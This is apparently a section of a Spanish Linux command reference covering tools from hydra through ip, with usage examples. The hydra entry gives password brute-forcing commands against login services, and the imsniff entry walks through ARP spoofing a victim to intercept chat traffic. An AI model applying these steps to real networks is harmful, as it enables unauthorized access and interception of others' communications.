Colección de herramientas y scripts que se han acumulado a lo largo de los años y cada uno de los cuales parece ser demasiado pequeño para garantizar su propio proyecto. El listado es:

- bsvplay                - convertir archivos de música BASICA a PCM
- cctypeinfo            - muestra los tamaños de los tipos C en la implementación con la que se compiló
- checkbrack            - comprobación de paréntesis y recuento de paréntesis
- declone               - romper los enlaces duros
- diff2php              - transformar el parche en un archivo PHP de autoservicio
- fd0ssh                - tubo para soporte de password-over-stdin a ssh
- fnt2bdf               - convertir fuentes VGA sin procesar a X11 BDF
- gpsh                  - grep en listas de seguimiento y reproducción de archivos de audio
- logontime             - muestra el tiempo de conexión acumulado de wtmp
- mailsplit            - divide una mbox en ficheros individuales
- mod2opus              - envoltura para el módulo de seguimiento/transcodificación de MIDI a Opus
- hxnetload             - muestra la utilización de la interfaz de red
- ofl                   - abre el archivo lister (reemplaza el fusor y lsof -m)
- paddrspacesiz        - tamaño de impresión de los espacios de dirección de los procesos
- pesubst  
sustituciones)        - sustitución de la corriente perl-regexp (reemplaza la sed por sub-
- pmap\_dirty            - muestra la cantidad de RAM que un proceso usa con fuerza
- proc\_iomem\_count     - mostrar los tamaños de las regiones MMIO
- qplay                 - convierte las cadenas de reproducción de QBASIC a PCM
- qtar                  - interfaz más rápida para tar con pedido de archivos
- Recursrive\_lower     - todos los nombres de ficheros en minúsculas recursivas
- sourcefuncsize       - análisis estadístico del código
- spec-beautifier       - programa para limpiar los archivos RPM .spec
- stxdb                 - Base de datos de archivos A/V
- sul                   - lo que el sudo debería haber hecho
- utmp\_register        - hacer entradas en la base de datos utmp/wtmp
- vcsaview             - mostrar un volcado de pantalla en formato VCSA
- vfontas               - Ensamblador de archivos de fuentes VGA
- wktimer               - temporizador de trabajo

## hydra

Se utiliza para crackear los sistemas de login de diferentes servicios como HTTP, FTP, TELNET, IMAP, SMB, SSH, etc.

```
# hydra 192.168.1.5 -l admin -p 1234
Una ip con el usuario "admin" con la clave "1234"
```

```
# hydra -M lista_ips ssh -s 22
A un listado de ips a una por linea y sobre el puerto 22
```

```
# hydra 192.168.1.8 ftp -s 21 -l juan -P wordlist.txt
Una ip el puerto 21 del usuario "juan" y probando las contraseñas de un archivo de texto a una por
linea
```

---

# I

---

## i2p

El Proyecto Internet Invisible es una capa de red privada, anónima, descentralizada totalmente encriptada y construida usando Java con principios similares a Tor, pero que fue diseñada desde cero como una red oscura autónoma. Protege la actividad y localización y sin problemas de que rastreen o recopilen datos. I2P oculta el servidor al usuario y el usuario al servidor. Todo el tráfico I2P es interno a la red I2P. El tráfico dentro de I2P no interactúa directamente con Internet. Es una capa superior a Internet. Utiliza túneles unidireccionales encriptados entre usted y sus pares. Nadie puede ver de dónde viene el tráfico, a dónde va o cuál es su contenido. Además, I2P ofrece resistencia al reconocimiento de patrones y al bloqueo por parte de los censores.

## i7z

Herramienta que muestra datos en tiempo real sobre cada core en los procesadores Intel Core i3, i5 o i7.

```
# i7z
```

## iat

Herramienta que convierte ficheros de imagen de CD, DVD, etc a formato iso ISO9660. Puede convertir a ISO desde los siguientes formatos: BIN, MDF, PDI, CDI, NRG y B5I.

```
$ iat imagen.bin imagen.iso
```

## ibam

Monitor de carga de la batería

```
$ ibam -a
```

## ibmonitor

Muestra el tráfico total por interfaz, tanto el enviado como el recibido. Descarga: <<http://ibmonitor.sourceforge.net/download.html>>

```
$ ./ibmonitor
```

```
$ ./ibmonitor --bytes --max --avg --data
```

```
Los valores de salida en KBytes/seg, los máximos por interfaz y datos transferidos
```

## ibus

Utilidad en línea de comandos que puede reiniciar o salir de ibus-daemon, obtener o configurar el motor ibus actual o enumerar los motores ibus.

```
$ ibus engine
obtiene el motor ibus
```

```
$ ibus list-engine
muestra los disponibles
```

```
$ ibus restart
reiniciar el daemon
```

```
$ ibus start
arrancar el daemon
```

```
$ ibus exit
salir de ibus daemon
```

```
$ ibus address
muestra la dirección D-bus del daemon ibus
```

```
$ ibus reset-config
restablece los valores de la configuración
```

## icdiff

Parecido a diff [ver], pero en lugar de tratar de ser un reemplazo de diff para todas las circunstancias, el objetivo de icdiff es ser una herramienta que pueda alcanzar para obtener una mejor idea de lo que cambió cuando no es inmediatamente obvio desde diff.

```
$ icdiff -N archivo archivol
mostrando el número de línea
```

## iceauth

Se utiliza para editar y mostrar la información de autorización utilizada en la conexión con Internet Communications Engine [ICE] que se trata de marco RPC orientado a objetos que ayuda a crear aplicaciones distribuidas con un esfuerzo mínimo. Este programa generalmente se usa para extraer registros de autorización de una máquina y fusionarlos en otra (como es el caso cuando se usan inicios de sesión remotos o se otorga acceso a otros usuarios). Los comandos se pueden ingresar de forma interactiva, en la línea de comandos de iceauth o en scripts.

```
$ iceauth -v
entrar en el prompt y mostrar mensajes detallados, "q" para salir del prompt
```

## ico

Muestra poligonos en movimiento en la terminal.

```
$ ico -faces -colors red -sleep 0.5
poligono compacto rojo moviendose cada medio segundo
```

```
$ ico -colors red -sleep 0.5 -bg yellow
poligono solo con aristas rojo y fondo amarillo
```

## iconv

Modificar la codificación de un archivo. Para saber la codificación de un archivo `$ file --mime-encoding archivo.txt`

```
$ iconv -l
Muestra todas las opciones posibles
```

```
$ iconv -f ISO85591 -t UTF8 viejo.txt -o nuevo.txt
Pasará viejo.txt de codificación ISO-8559-1 a UTF-8 en el nuevo.txt
```

## icp

[renameutils]. Igual que `imv[ver]`, pero copia los archivos en lugar de moverlos.

```
$ icp dir/archivo.txt
```

## icuinfo

imprime información básica sobre la versión actual de ICU.

```
$ icuinfo -m
Imprime la hora UTC actual en milisegundos
```

```
$ icuinfo -k
Llama a u_cleanup antes de salir e intentará descargar complementos
```

## id

Conocer el uid y el gid del usuario especificado

```
$ id root
```

```
$ id -u
Del usuario no root
```

```
$ id -a
De todos los grupos a los que pertenece el usuario
```

```
$ id -un
Muestra el usuario con el que estamos
```

## identify

[imagemagick]. Ver las propiedades de una imagen

```
$ identify imagen.gif
```

```
$ identify -verbose imagen.jpg
Con mucha más información
```

```
$ identify -format %c imagen.png
Visualizar los comentarios
```

## idesk

Herramienta para la creación de iconos en el escritorio. Los archivos con extensión `.lnk` se colocan en el directorio `~/idesktop`. Una muestra:

```
$ nano .idesktop/home.lnk
```

```
table Icon
  Caption: Home
  Command[0]: thunar /home/usuario
  Icon: /usr/share/idesk/folder_home.xpm
  Width: 48
  Height: 48
  X: 29
  Y: 39
end
Nombre del icono [Caption], El comando que se lanzará [0] con doble click izquierdo del ratón. Con [1], doble click derecho, en este caso thunar abrirá la carpeta personal [Command], la ruta al icono que se empleará [Icon], las medidas ancho [Width] y alto [Height] y la colocación en pantalla, x: distancia en pixels del lateral, y: distancia en pixels de la parte superior.
```

Otros parámetros [fuentes, colores, medidas, fondos, transparencias...] pueden configurarse en el archivo `~/ideskrc`. Cualquier modificación en `idesktop` o `ideskrc` precisa matar el proceso:

```
$ killall idesk
```

Y relanzarlo:

```
$ idesk
```

## ieccset

Muestra el estado actual de IEC958 en una forma legible para humanos. Cuando se dan los comandos en los argumentos, se analizan y se actualizan los bits de estado IEC958. El estado resultante se muestra también.

```
$ ieccset -x
```

Muestra los bits de estado actuales de IEC958 en estilo de los argumentos para el flujo PCM

```
$ ieccset pro off audio off
```

Establece el estado actual y activa el bit que no es de audio. También se mostrará el estado modificado

## if

Ejecuta uno o varios comandos dependiendo de si una condición se cumple o no. Algunos scripts de ejemplo para su uso [ver operadores]:

1.-

```
#!/bin/bash
read -p "Ingrese nombre del usuario: " USUARIO
if grep -e ^$USUARIO: /etc/passwd
then
    echo "El usuario existe en el sistema"
else
    echo "Usuario desconocido"
fi
exit 0
```

2.-

```
#!/bin/bash
if [ "$(id -u)" != "0" ]; then
    echo "Solo root puede ejecutar este script."
    exit 1
fi
```

3.-



```
#!/bin/bash
# Verificar si se ha entrado un argumento
if [ -z "$1" ]
then
    echo "Falta el argumento después del nombre del script"
exit
fi
4.-
```

```
#!/bin/bash
# Introducir dos números diferentes e indicar
# cuál es el mayor
read -p "Introduce dos números: " A B
if [ $A -gt $B ]
then
    echo $A "es el mayor"
else
    echo $B "es el mayor"
fi
5.-
```

```
#!/bin/bash
#Con varias opciones [elif]
ls
echo
read -p "Cual leer: " LEER
echo
if [ -f $LEER ]
then
    echo
    cat $LEER
    echo
elif [ -d $LEER ]
then
    echo
    echo "Es un directorio...."
else
    echo
    f_echo "¡¡NO EXISTE!!"
    echo
fi
6.-
```

```
#!/bin/bash
echo "Diga si o no:"
read RESPUESTA
if [ "$RESPUESTA" = si ]; then
    echo "Has escrito si"
elif [ "$RESPUESTA" = no ]; then
    echo "Has escrito no"
elif [ "$RESPUESTA" = " " ]; then
    echo "No has escrito nada"
else
    echo "Has escrito una cosa no permitida"
fi
7.-
```

```
#!/bin/bash
# and y or como condicional
echo
if [[ -f ~/.bashrc ]] && [[ -r ~/.bashrc ]]
then
    echo "Existe y se puede leer"
fi
#
if [[ 4 -lt 3 ]] || [[ 7 -eq 7 ]]
then
    echo "Uno de los dos es verdadero"
fi
8.-
```

```
#!/bin/bash
# Comprobar si un directorio está vacío
DIR=~/.polles
#
if [ "$(ls -A $DIR)" ]
```

```

        then
        echo "Contiene archivos"

    else
        echo "Vacio (o no existe o es un archivo)"

    fi

```

## ifconfig

[net-tools]. Define direcciones ip y dispositivos de red

```

# ifconfig
ver los datos de conexión

# ifconfig eth0 up 192.168.1.2
Levanta la placa de red eth0 y le da la ip

# ifconfig eth0 down
Cierra la red eth0

# ifconfig eth0 promisc
Poner la placa en modo promiscuo

# ifconfig wlan0 up
si se trata de redes inalámbricas

# ifconfig eth0 hw ether 00:01:02:03:04:05
cambiar la dirección MAC

```

## ifdata

[moreutils]. Muestra información de la red.

```

$ ifdata -p eth0
Muestra la ip local, la mascara de red, la dirección broadcast y los MTU de la red

$ ifdata -pa -pn eth0
Muestra la ip local i la mascara de red

$ ifdata -pe eth5
Muestra "yes" o "no" sobre si existe o no la red especificada

```

Otras opciones:

-pb (La dirección broadcast)  
 -ph (Muestra la MAC)  
 -pf (Muestra las características de la red)

## ifdown

[ifupdown]. Deshabilita la interfase especificada:

```

# ifdown eth0

# ifdown -a
Deshabilita todas las redes

```

## ifmetric

Permite Cambiar la prioridad de enrutamiento.

```
# ifmetric wlan0 1
Dar a todas las demás interfaces una prioridad más alta que wlan0
```

```
# ifmetric wlan0 0
restablecer las prioridades
```

## ifnames

Escanear archivos fuente en C (o la entrada estándar, si no se proporciona ninguno) y mostrar por pantalla una lista ordenada de todos los identificadores que aparecen en esos archivos en las directivas "#if", "#elif", "#ifdef" o "#ifndef". Imprime cada identificador en una línea, seguido de una lista separada por espacios de los archivos en los que aparece ese identificador.

```
$ ifnames file.c
```

## ifne

[moreutils]. Se ejecuta si la entrada estandar no está vacía.

```
$ find . -name archivo | ifne echo "Existe"
Si "archivo" existe se ejecutará el echo. Si no existe, no
```

```
$ find . -name archivo | ifne -n echo "No existe"
Si "archivo" no existe se ejecutará el echo. Si existe, no
```

## ifplugd

Es un demonio que configura automáticamente un dispositivo ethernet cuando se conecta un cable y lo desconfigura automáticamente si se extrae el cable.

```
# ifplugstatus
```

## ifplugstatus

[ifplugd]. Indica todos los dispositivos conectados al pc.

```
# ifplugstatus
de todos
```

```
# ifplugstatus eth0
el especificado
```

## ifquery

Lista rápida de interfaces de red.

```
$ ifquery -l
Muestra las especificadas en /etc/network/interfaces y el orden en que se levantarán
```

```
$ ifquery --state
Muestra el orden en que se levantaron según /run/network/ifstate
```

```
$ ifquery enpls0
muestra información de la interface especificada
```

## ifrename

Permite al usuario decidir qué nombre tendrá una interfaz de red.

```
# ifrename -i eth0 -n Nuevo_nombre
```

## ifs

Internal Field Separator (separador de campos internos) sirve para indicar cual es el valor que se usa como separador. Si no se especifica ninguno es el espacio.

Algunos ejemplos:

1.-

```
#!/bin/bash
# dividir una IP en 4 variables
# Guardar el separador de campos original
OLDIFS=$IFS
read -p "Dime la ip: " IP
# Establecemos el separador de campos en el punto
IFS=.
read IP1 IP2 IP3 IP4 <<< "$IP"
echo "$IP1 $IP2 $IP3 $IP4"
# Restablecemos el separador original (El espacio)
IFS=$OLDIFS
```

2.-

```
#!/bin/bash
#Almacenamos el valor original de la variable IFS
OLDIFS=$IFS
#Cambiamos el valor del IFS a final de linea [\n]
IFS=$'\n'
for line in $(cat file.txt)
do
    echo $line
done
#Restauramos el IFS
IFS=$OLDIFS
```

## ifstat

Monitorización del trafico de red.

```
$ ifstat -z
Descarta los interfaces sin actividad
```

```
$ ifstat -i eth1
Especificando una red
```

Algunas opciones:

-a (Muestra todas las redes)

-T (monitorizando varias redes, muestra el total)

-S (Muestra los resultados en la misma linea, si es posible)

-b (Reporta los informes en Kbits / seg en lugar de kbytes / seg.)

## iftop

Muestra el ancho de banda que está usando una red.

```
# iftop -nP -i eth0
sin resolver las IPs[n], mostrando puerto[P] y especificando red
```

## ifup

[ifupdown]. Habilita la interfase especificada:

```
$ ifup eth0

$ ifup -a
levanta las especificadas en /etc/network/interfaces
```

## imageindex

Generar una galerías de imágenes en HTML estáticas de un directorio. Se generan miniaturas y puede personalizarse con hojas de css. Crear el archivo .imageindexrc

```
$ nano .imageindexrc
```

con un contenido que puede personalizarse como indica su página man:

```
$framedateformat = "%D";
$frametimeformat = "%R";
$indexdateformat = "%D";
$indextimeformat = "%R";
$slidedateformat = "%D";
$slidetimeformat = "%R";
$detailldateformat = "%m/%y";
$default_titletext = "Directorio de imágenes";
$indexlinktext = "indice";
$detaillinktext = "detalles";
$framelinktext = "slideshow view (frames)";
$stylesheet = '
    body { color: black; background: gray; }
```

Algunas notas al respecto:

```
%D (que las fechas sean dia, mes, año)
%R (horas y minutos)
$default_titletext (el título)
$indexlinktext (en castellano)
$detaillinktext (en castellano)
$stylesheet (el fondo [background] gris. colocar otros ajustes entre los apóstrofes)
Entrar en el directorio donde estan las imagenes y lanzar:
```

```
$ imageindex
Crea los archivos y el index.html
```

Visualizar el index.html creado en el navegador.

## imagemagick

Paquete de software que se utiliza para editar y manipular imágenes digitales. Se puede utilizar para crear, editar, componer o convertir imágenes y admite una amplia gama de formatos de archivo: JPEG, PNG, GIF, TIFF, PDF... Incluye varias aplicaciones: animate, compare, composite, conjure, convert, display, identify, import, mogrify, montage y stream

## img2txt

[caca-utils, libcaca]. Pasar una imagen a ascii.

```
$ img2txt imagen.png
forma básica

$ img2txt -f svg imagen.jpg > imagen.svg

$ img2txt -f html imagen.jpg > imagen.html
código html de la imagen
```

## import

[imagemagick]. Capturar la pantalla en cualquier formato.

```
$ import -window root captura.png
captura de pantalla completa
```

```
$ import -window `xwininfo | awk '/Window id/{print $4; exit}` ` `uuidgen`.png
Lo mismo. El puntero se convierte en una cruz y captura el escritorio donde se clica
```

```
$ import -frame -strip -quality 75 "$HOME/$(date +%s).png"
seleccionar el trozo a capturar
```

```
$ import captura.png
captura de un área concreta)
```

```
$ import 2 captura.png
realizar 2 capturas
```

```
$ import -pause 5 captura.png
Para retardar la captura 5 segundos
```

```
$ import -geometry 250x250! captura.png
indicando un tamaño respetando las proporciones
```

## impressive

Visualizar documentos PDF e imágenes (jpg, tiff, png...)

```
$ impressive archivo.pdf
uso basico
```

```
$ impressive -f -g 800x600 archivo.pdf (Sólo ocupando una ventana de la pantalla
```

```
$ impressive -f -g 800x600 *.jpge todos los jpg del directorio
```

```
$ impressive -a 5 -w archivo.pdf
5 segundos por diapositiva y reiniciando la presentación cuando termine
```

```
$ impressive -i 10 archivo.pdf
empezando en la página 10
```

```
$ impressive --invert archivo.pdf
invirtiendo los colores existentes en el pdf
```

```
$ impressive -p 10-12 archivo.pdf
Sólo mostrar de las páginas 10 a la 12
```

```
$ impressive -l
lista efectos disponibles
```

```
$ impressive -t SqueezeLeft documento.pdf
```

Algunas opciones:

AvPág (Va a la página siguiente)

RePág (Va a la página anterior)

z (zoom donde esté el cursor)

f (Activa/Desactiva la pantalla completa)

tab (mostrar miniaturas)

q (Salir de la aplicación)

## imsniff

Capturar paquetes relacionados con el protocolo MSN . Su uso pasa por el envenenamiento arp, situando nuestra máquina entre la víctima y el router lanzando en varias terminales y sin cerrarlas:

```
# arpspoof -i eth0 -t 192.168.1.15 192.168.1.1
```

```
# arpspoof -i eth0 -t 192.168.1.1 192.168.1.15
```

Activar forwarding para que los paquetes vayan a su verdadero dueño:

```
# echo 1 > /proc/sys/net/ipv4/ip_forward
```

Crear una carpeta donde guardar los datos:

```
$ mkdir sniffadas
```

Modificar el archivo de configuración a partir de la propia documentación ::

```
# cp /usr/share/doc/imsniff/examples/imsniff.conf.sample /etc/imsniff.conf
```

```
# nano /etc/imsniff.conf
```

```
daemonize = 0
```

```
promisc = 0
```

```
verbose = 2
```

```
chatdir = /home/USER/snifadas/chats
```

```
debugdir = /home/USER/snifadas/debug
```

```
interface eth0
```

Los directorios "chats" y "debug" los crea la misma aplicación.

Lanzar el sniffer de conversaciones msn:

```
# imsniff
```

## imv

[renameutils]. Permite renombrar interactivamente los nombres de los archivos uno por uno.

```
$ imv dir/archivo.txt
```

## inadyn

Cliente que actualiza registros DNS de ips dinámicas tipo noip2 [ver].

```
# nano /etc/inadyn.conf
```

Y, para el caso de un registro no-ip, modificar los parámetros:

```
system default@no-ip.com
username Nombre_de_registro_en_no-ip
password Contraseña_del_registro_de_no-ip
alias Tu_host.no-ip.org
El periodo de actualización en segundos:
```

```
period 600
Si existen errores se mostrarán la lanzar:
```

```
# inadyn
```

## incron

Monitorizar los cambios realizados en un directorio del sistema lo cual se refleja en `/var/log/messages` [`tail -f /var/log/messages`]. La configuración global y el monitoreo se realiza en `/etc/incron.conf`. Igual que con `crontab` [`ver`] puede abrirse como usuario normal o `root` [`crontab -e`]. Para arrancar el servicio:

```
# service incron start
```

Añadir las líneas de los archivos o directorios a monitorizar según los ejemplos siguientes en `/etc/incron.conf`

```
/home/USER/dir1 IN_MODIFY echo "$$ $@ $# $% $" (datos ha indicar si se modifica dir1)
/etc/apache2/apache2.conf IN_MODIFY /usr/sbin/service apache2 stop (si se modifica apache2
.conf parar el servicio)
/home/USER/Documentos IN_ACCESS,IN_OPEN mplayer /home/USER/musica/cancion.mp3 (reproducir
mp3 si alguien accede a un directorio)
/var/www/html IN_CREATE script_backup.sh (ejecutar un script si se crea un nuevo archivo o
directorio en html)
/home/USER/emacs_tut.txt IN_MODIFY echo "$$ $@ $# $% $" (si se ha modificado un fichero)
Opciones de monitoreo de los archivos o directorios:
```

`IN_ACCESS` - Si se accedió a él.

`IN_ATTRIB` - Si se actualizó información.

`IN_CLOSE_WRITE` - Si se abrió para escritura y fue cerrado.

`IN_CLOSE_NOWRITE` - Archivo abierto fue cerrado.

`IN_CREATE` - Si se creo algún archivo o directorio.

`IN_DELETE` - Si se borró algún archivo o directorio.

`IN_DELETE_SELF` - Si se ha eliminado el archivo o el directorio.

`IN_MODIFY` - Si un archivo fue modificado.

`IN_MOVE_SELF` - Si se ha movido el archivo o el directorio.

`IN_MOVED_FROM` - Si se movio algún archivo de este directorio a otro.

`IN_MOVED_TO` - Si se movió algún archivo de otro directorio al presente

`IN_OPEN` - Si un archivo fue abierto.

`IN_ALL_EVENTS` - Todos los eventos anteriores.

Significados de algunos datos que pueden incorporarse en el informe en `/var/log/messages`:

```
$$ (Imprimir un signo de dólar literalmente)
$@ (Agregar la ruta del sistema de archivos supervisados)
$# (Agregar el nombre del archivo)
$% (Agregar indicadores de eventos)
```

## inetutils-traceroute

La utilidad `traceroute` [`ver`] muestra la ruta tomada por los paquetes IP en su camino a otro host u otra red. Esta herramienta permite examinar la conectividad de red o para diagnosticar problemas de red.

```
$ inetutils-traceroute --resolve-hostnames lapipaplana.org
resolviendo los hostnames de la ruta
```



## info

Páginas de manual para la mayoría de programas del proyecto GNU con una estructura jerarquizada. Ligeramente más complejo que las clásicas páginas man [ver]

```
$ info
MUestra la lista de los nodos disponibles en el primer nivel
```

```
$ info ifconfig
```

## init

Para o reinicia el sistema

```
$ init 0
para
```

```
$ init 1
reinicia en modo uniusuario
```

```
$ init 6
reinicia
```

## initramfs

Problemas durante el arranque. Consiste en un fallo de lectura de los controladores ide de discos duros por parte del kernel del sistema operativo que no logra reconocer dichos drivers. Arrancar con un livecd o pulsando e para editar la opción cuando salga el menu en grub:

```
# gedit /boot/grub/menu.lst
```

Y al final de la linea del kernel poner: rootdelay=90

Otras soluciones propuestas (sustituir el rootdelay=90 por):

```
pci=noms
```

```
all_generix_ide
```

Para actualizar initramfs y que el kernel aplique los cambios:

```
# update-initramfs -u
```

## inittab

Fichero que gestiona el inicio del sistema o un cambio de estado (runlevel) con el comando init (ver ).

```
# nano /etc/inittab
```

Especificación de si el sistema arranca en modo monousuario (1) o multiusuario (2-5). Por defecto 2 o 3:

```
id:2:initdefault:
Scripts que se ejecutarán en el inicio y en el orden que lo harán independientemente del runlevel:
```

```
si::sysinit:/etc/init.d/rcS (En algunas distros si::sysinit:/etc/rc.d/rc.sysinit)
Este script llama a los scripts del directorio /etc/rcS.d. Por cada runlevel se ejecutan los
scripts del directorio correspondiente: rc0.d/, rc1.d/, rc2.d/, rc3.d/, rc4.d/, rc5.d/, rc6.d/,
rc.local y rcS.d/. El directorio /etc/rc.local se usa para ejecutar servicios propios del
usuario. En estos directorios los scripts que empiezan por una "K" paran servicios y los que
empiezan por una "S" los arrancan.
```

Qué hacer si se presiona CTRL-ALT-DEL:

```
ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r now
Qué hacer si la corriente se va/vuelve
```

```
pf::powerwait:/etc/init.d/powerfail start
pn::powerfailnow:/etc/init.d/powerfail now
po::powerokwait:/etc/init.d/powerfail stop
Despues de ejecutar los scripts de inicio, init crea un conjunto de terminales virtuales:
```

```
1:2345:respawn:/sbin/getty 38400 tty1
2:23:respawn:/sbin/getty 38400 tty2
3:23:respawn:/sbin/getty 38400 tty3
4:23:respawn:/sbin/getty 38400 tty4
5:23:respawn:/sbin/getty 38400 tty5
6:23:respawn:/sbin/getty 38400 tty6
Utilizando la opción respawn, si alguien trata de finalizar uno de estos procesos, el proceso simplemente será regenerado (respawned).
```

1.-

Entrar de forma automática:

Comentar la siguiente línea

```
#1:2345:respawn:/sbin/getty 38400 tty1
```

Y Agrega la siguiente linea:

```
1:2345:respawn:/bin/login -f USUARIO tty1 </dev/tty1 >/dev/tty1 2>&1
```

Siendo USUARIO el nombre de usuario que hará login automático.

## innotop

Monitorización del servidor de bases de datos mysql.

```
$ innotop -u USER -p PASS -h localhost -P 3306
```

Nota.- Pulsar "q" para salir.

## inputrc

(archivo /etc/inputrc y ~/.inputrc). Librería readline que permite editar líneas de texto usando los modos de emacs y vi. Esto permite estandarizar las combinaciones de teclas entre muchos comandos.

```
$ nano .inputrc
```

Ajustes que pueden añadirse al archivo personal.

1.-

Que al pulsar Ctrl+x Ctrl+f liste las funciones y con Ctrl+x Ctrl+v las variables:

```
# Lista las funciones y variables de readline
```

```
"\C-x\C-f": dump-functions
```

```
"\C-x\C-v": dump-variables
```

2.-

Que el autocompletado con la tecla "tab" no distinga mayúsculas y minúsculas:

```
# Ignora diferencias de mayusculas/minusculas al
```

```
# completar con tabulador
```

```
set completion-ignore-case on
```

## insmod

Carga módulos.

```
# insmod modulo
```

## install-mbr

Instala un nuevo código MBR al inicio del disco duro.

```
# install-mbr /dev/sda
instala
```

```
# install-mbr -l /dev/sda
muestra información del código mbr
```

## installkernel

Instala una nueva imagen del kernel en el sistema desde el árbol de fuentes de Linux. Es llamado por los makefiles del núcleo de Linux cuando make install es invocado. El nuevo núcleo se instala en /boot/vmlinuz-{version}. Si ya existe un enlace simbólico /boot/vmlinuz, se actualiza haciendo un enlace desde /boot/vmlinuz al nuevo núcleo y el núcleo previamente instalado está disponible como /boot/vmlinuz.old. installkernel se instala en /sbin porque los makefiles del núcleo de Linux lo llaman allí y no en /usr/sbin.

## instmodsh

Para conocer los módulos perl instalados. Entra en el prompt (cmd?) con 3 preguntas:

l (List all installed modules)

m <module> (Select a module)

q (Quit the program)

## integrit

Detectar cuando algún archivo del sistema ha sido alterado mediante la creación, la primera vez que se lanza, de una base de datos con la que confrontar los nuevos escaneos.

Configuración:

```
# /etc/integrit/integrit.con
```

Descomentar las líneas:

```
root=/
known=/var/lib/integrit/known.cdb
current=/var/lib/integrit/current.cdb
Y descartar los directorios que no se deseen incluir en el escaneo, descomentandolos ["cdrom" se
descarta, "/dev" se escane, "/usr/src" no se escaneará de forma recursiva ]:
```

```
!/cdrom
# !/dev
=/usr/src
Crear la base de datos inicial:
```

```
# integrit -u -C /etc/integrit/integrit.conf
```

Mover la base de datos a know.cdb:

```
# mv /var/lib/integrit/current.cdb /var/lib/integrit/known.cdb
```

Lanzar la comprobación:

```
# integrit -C /etc/integrit/integrit.conf -c
```

Si queremos colocar la orden en el cron para ser lanzada cada hora y que envíe un correo al administrador:

```
# crontab -e
```

Y colocamos la línea:

```
* * * * * integrit -C /etc/integrit/integrit.conf -c | mail root
```

## interfaces

[/etc/network/interfaces]

Archivo de configuración de la red en distros debian.

1.-

Con IP dinámica:

Colocar en el archivo las líneas:

```
auto eth0
iface eth0 inet dhcp
```

2.-

Con IP fija

Colocar en el archivo las líneas:

```
auto eth0
iface eth0 inet static
address 192.168.1.10
gateway 192.168.1.1
netmask 255.255.255.0
broadcast 192.168.1.255
```

Reiniciar el servicio:

```
# ifdown eth0
```

```
# ifup eth0
```

Nota.- Solo modificandolo en network-manager no funciona.

3.-

Creación de una segunda dirección IP virtual.

Añadir las siguientes líneas a las de la IP fija:

```
auto eth0:1
iface eth0:1 inet static
address 192.168.0.15
netmask 255.255.255.0
broadcast 192.168.0.255
gateway 192.168.0.1
```

Nota.- La instalación de network-manager o wicd para la gestión de redes implica comentar las modificaciones de este archivo o en, en el caso de network-manager, editar:

```
# nano /etc/NetworkManager/NetworkManager.conf
```

Y modificar la línea:

```
[ifupdown]
managed=true
```

4.-

Obtener el módulo que usa una determinada interfaz de red:

```
# ls /sys/class/net/
```

Listar todas las interfaces de red del equipo

```
# ls -la /sys/class/net/eth1/device/driver
```

Ver el módulo del kernel que está usando una interfaz de red

## inxi

Muestra información del equipo (<<http://inxi.googlecode.com/svn/trunk/inxi>>).

```
$ inxi -Fpur -c 4
```

Algunas opciones (con inxi -h la lista completa):

```
-A (Audio y tarjetas de sonido)
-b (informacio básica)
-c (formato de color de 0 a 32 para la salida de datos)
-C (CPUs)
-d (drivers opticos)
-D (disco duro)
-F (salida extendida)
-G (tarjeta gráfica)
-i (Información de red)
-I (Procesos, uptime, memoria...)
-M (Datos de la máquina)
-N (   tarjetas de red)
-o (particiones no montadas)
-p (particiones montadas)
-r (repositorios)
-s (sensors[temperaturas cpu])
-S   (Host, Kernel,Escritorio y Distro)
-t cm (Procesos que consumen más cpu [c] y memoria [m])
-u (UUID de las particiones. -uo las no montadas, -up las montadas)
-v 6 (Distintas etiquetas de información. Del 1 al 6)
```

## ionice

El programa establece u obtiene la clase de programación de I/O y su prioridad. Si no se dan argumentos o solo "-p", ionice consultará la clase de programación de E/S actual y la prioridad para ese proceso. Si no se especifica ninguna clase, el comando se ejecutará con la clase de programación de "mejor esfuerzo". El nivel de prioridad predeterminado es 4.

```
$ ionice -c 3 -p 103
```

Establece el proceso con PID 103 como un proceso de I/O inactivo [-c 3, 0 para ninguno, 1 para tiempo real y 2 para el mejor esfuerzo]

```
$ ionice -c 3 ls
```

el comando "ls" se lanzará con proceso I/O inactivo

```
$ ionice -c 2 -n 0 bash
```

Ejecuta 'bash' como un programa de mejor esfuerzo con la máxima prioridad [-n 0, de 0 a 7, siendo 7 el de menos prioridad]

```
$ ionice -p 103 145 173
```

Imprime la clase y prioridad de los procesos con PID 103, 145 y 173

```
# ionice -c3 -p `pidof sshd`
```

reiniciar un servicio dandole un PID

## ioping

Supervisa la latencia del disco en tiempo real. La idea principal detrás de ioping es tener una utilidad similar al ping, que mostrará la latencia del disco de la misma manera que ping muestra la latencia de la red.

```
$ ioping -i 2 -c 5 /
```

medir la latencia del disco duro en un periodo de 5 veces con 2 segundos de separación

```
$ ioping -c 10 -s 1M /tmp
```

Medir la latencia en /tmp utilizando 10 solicitudes de 1 megabyte cada una

```
$ ioping -RL /dev/sda
```

Medir la velocidad secuencial del disco

## iotstat

muestra estadísticas de la CPU y de la entrada y salida de los dispositivos y particiones.

```
$ iostat -x sda -d 1 6
6 reportes con 1 segundo de intervalo sobre el disco sda. Suprimiendo la última cifra [6]
continuará reportando datos hasta finalizar con Ctrl+c
```

```
$ iostat -d 3
actualizará resultados cada 3 segundos
```

```
$ iostat -p sda
Ver estadísticas de un disco concreto con sus particiones
```

## iotop

monitoriza el ratio de lectura/escritura en disco .

```
$ iotop -o -u usuario
$ iotop -a -p $(sed 's, , -p ,g' <<<`pgrep "_raid|_resync|jbd2"`)
un raid
```

Alguns opciones:

- d 2 (Actualización cada 2 segundos)
- b (No interactivo)
- o (Sólo mostrar procesos que hacen uso de entrada/salida)
- t (Incluir una marca de tiempo)
- p pid (Pid del proceso a monitorizar. Por defecto todos)
- u usuario (especificando usuario)

## iozone

Realizar test de velocidad de sistemas de archivos (ext3, ext4...)

```
$ iozone -s 2g -r 64 -i 0 -i 1 -b test.xls
```

```
$ iozone -a -g 2G -f /media/sda2
```

- a (automático)
- g (Tamaño de los archivos generados)
- f (el sistema de archivos a tratar)
- i (0= escritura, 1= lectura, 2=lectura/escritura....)
- b (archivo que generará con los resultados)

## ip

[iproute2]. Configuración de red. Muestra dispositivos, enrutamientos, tuneles.

```
$ ip addr
Revisar tarjetas
```

```
$ ip route show
Información
```

```
$ ip link show
Ver interfaces de red
```

```
$ ip link set dev eth0 down
bajar una red
```

```
$ ip route add default via 192.168.1.1
establecer la ip del router
```

```
$ ip link set dev eth0 up
levantar una red
```

```
